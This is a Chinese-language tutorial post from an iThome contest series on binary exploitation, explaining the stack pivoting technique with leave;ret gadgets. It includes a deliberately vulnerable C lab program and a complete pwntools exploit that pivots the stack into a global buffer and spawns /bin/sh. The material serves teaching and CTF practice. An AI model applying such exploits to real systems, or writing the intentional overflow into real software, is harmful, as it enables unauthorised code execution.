iT邦幫忙

2025 iThome 鐵人賽

DAY 14
0
Security

現在是pwn的天下!系列 第 14

【Day-14】Stack Pivoting

  • 分享至 

  • xImage
  •  

前言

在binary Exploitation中,ROP是常見的攻擊手法,但是許多程式在設計上並不會提供足夠的stack buffer讓攻擊者可以放下整條ROP chain
當我們需要更大的空間來構造複雜的ROP chain時,就需要用到 Stack Pivoting堆疊轉向技巧
這個技巧能將程式的stack pointer(esp/rsp)指向一塊攻擊者可控的記憶體區域,例如.bss、heap或mmap出來的chunk,讓我們能在該區域自由構造ROP chain。

Stack Pivoting 原理

Stack Pivoting的核心概念是:把stack pointer移動到攻擊者可控的地方
舉例來說:

  • 如果程式只給我們32 bytes buffer,但我們需要200 bytes的ROP chain,那麼直接塞進stack會不夠。
  • 我們可以把 ROP chain 放到 .bss,然後透過一個 gadget 讓 rsp 指向 .bss,之後程式就會從那裡繼續執行。
    常見的 pivot gadget:
  • leave; ret → 等於 mov rsp, rbp; pop rbp; ret
    • overflow 的時候將 rbp 填成 ROP chain的 address - 8
    • return address 填 leave; ret gadget
  • mov rsp, rax
  • pop rsp; ret
  • 在 x86_64 上,也常見 mov rsp, rdi、xchg rsp, rax
  • 要自己去找適合當下情況的gadget

如果在一個地方只能overflow 16 bytes,換句話說就是只能蓋到return address,也就意味著我們無法往更後面塞ROP gadget
那我們這時候就可以把我們的ROP chain塞在一個空間足夠大的bss
假如這裡為0x601090,真正ROP chain開始的地方是0x601098
https://ithelp.ithome.com.tw/upload/images/20250818/20172088r3Q9S8ANjF.png
那我們這時候就可以做mov rsp, rbp; pop rbp; ret,那這個時候的rbp就會是我們塞好的值ROP chain - 8的地方(0x601090),接下來就會return,他吃到的是第一個gadget,接著就會再做一次leave ret(會被放在return address),同理會再做一次mov rsp, rbp; pop rbp; ret,這樣我們就可以間接的控制rsp的值,讓rsp的值也指向ROP chain - 8的地方,最後pop rbp,rbp就會指向0xdeadbeef

LAB

chal.c

#include <stdio.h>
#include <stdlib.h>

char username[0x100];

int main() {
    char password[0x10];
    puts("enter your username:");
    read(0, username, 0x100);
    puts("enter your password:");
    read(0, password, 0x20);
    return 0;
}

makefile:

chal: chal.c
        gcc chal.c -o chal -fno-stack-protector -no-pie -static

objdump -d binary得知username的位址為0x4abb20
https://ithelp.ithome.com.tw/upload/images/20250818/2017208879mJDZD3FX.png
因為username是global variable,所以我們可以向他寫入東西(.data),我們這裡寫入會ROP chain
objdump -h binary得知bss段
https://ithelp.ithome.com.tw/upload/images/20250819/20172088JIAT0MO4Si.png
接著再去找平常ROP會用到的gadget就可以串成以下ROP chain
https://ithelp.ithome.com.tw/upload/images/20250819/20172088OsakPRtrQq.png
我們除了一些平常ROP常用的gadget以外還有一個最重要的就是leave ; ret
https://ithelp.ithome.com.tw/upload/images/20250819/20172088ARQYU9mlMA.png
接下來我們用gdb去查看這個binary的main結構,可以發現在0x00000000004018fd的時候,我輸入的值是從rbp-0x10開始算的,也就代表說如果我們剛好可以蓋到這個return address
https://ithelp.ithome.com.tw/upload/images/20250819/20172088RuuGSVcDfy.png
有了以上資訊,我們可以寫出以下exp
exp.py:

from pwn import *

context.arch = 'amd64'

r = process('./chal')

pop_rsi_rbp = 0x404e62
pop_rdi_rbp = 0x4020d8
pop_rax = 0x42116b
username = 0x4abb20
leave_ret = 0x40191d
mov_rsi_rax = 0x420545
pop_rdx = 0x424dd2
syscall = 0x4012d3
bss = 0x4abac0

payload1 = flat(pop_rsi_rbp, bss, 0, pop_rax, b'/bin/sh\x00', mov_rsi_rax, pop_rax, 0x3b, pop_rdi_rbp, bss, 0, pop_rsi_rbp, 0, 0, pop_rdx, 0, syscall)

rop = b'a' * 8 + payload1

r.sendlineafter(b':', rop)
payload2 = b'a' * 16 + p64(username) + p64(leave_ret) # 我們要在 return 的時候再做一次leave ret,這樣就可以讓rsp的值也指向ROP chain - 8的地方

r.sendlineafter(b':', payload2)

r.interactive()

Pwned!
https://ithelp.ithome.com.tw/upload/images/20250819/20172088Hm8uCuYKdr.png

額外補充

如果看不懂payload1跟payload2的:

payload1

payload1 = flat(
    pop_rsi_rbp, bss, 0,
    pop_rax, b'/bin/sh\x00',
    mov_rsi_rax,
    pop_rax, 0x3b,
    pop_rdi_rbp, bss, 0,
    pop_rsi_rbp, 0, 0,
    pop_rdx, 0,
    syscall
)

這串是一個串好的rop chain,我們會把這個丟進空間足夠大的username先暫存

rop = b'a' * 8 + payload1

像我們前面所講到的,ROP chain - 8 的位置放一個隨便放八個bytes

payload2

payload2 = b'a' * 16 + p64(username) + p64(leave_ret)

這裡是我們先填入16個bytes (填滿local variable,因為password大小為0x10),這樣我們後面就可以control rbp跟rsp
我們把rbp pivot stack到username的地址,return address覆蓋為leave ; ret
這樣我們執行leave ; ret之後,rsp就會指向username,開始執行第一個payload


上一篇
【Day-13】pwnable - ORW
下一篇
【Day-15】Return to csu
系列文
現在是pwn的天下!30
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言